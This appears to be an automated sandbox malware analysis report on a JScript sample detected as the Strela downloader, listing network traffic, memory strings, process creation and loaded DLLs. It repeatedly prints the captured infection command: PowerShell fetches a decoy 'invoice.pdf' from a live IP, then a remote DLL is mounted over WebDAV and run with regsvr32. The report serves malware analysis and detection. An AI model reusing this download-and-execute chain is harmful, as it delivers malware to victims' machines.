Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.6:49710 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.2141940879.000001346C7CF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2141940879.000001346C7D8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2190078882.0000026C61F28000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2190078882.0000026C61F7B000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2190078882.0000026C61F58000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2190078882.0000026C61F28000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/al
Source: svchost.exe, 00000009.00000002.3432813056.000001BFF7A00000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome/acocfkfsx7alydpzevdxln7drwdq_117.0.5938.134/117.0.5
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 00000009.00000003.2190112164.000001BFF77D0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 3200, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 577119676170175151.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4040:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mqrzjncd.o1m.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 577119676170175151.js	Virustotal: Detection: 10%
Source: 577119676170175151.js	ReversingLabs: Detection: 13%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\577119676170175151.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1740,i,5722693158205743987,1927859512332386665,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\138501796710710.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1740,i,5722693158205743987,1927859512332386665,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
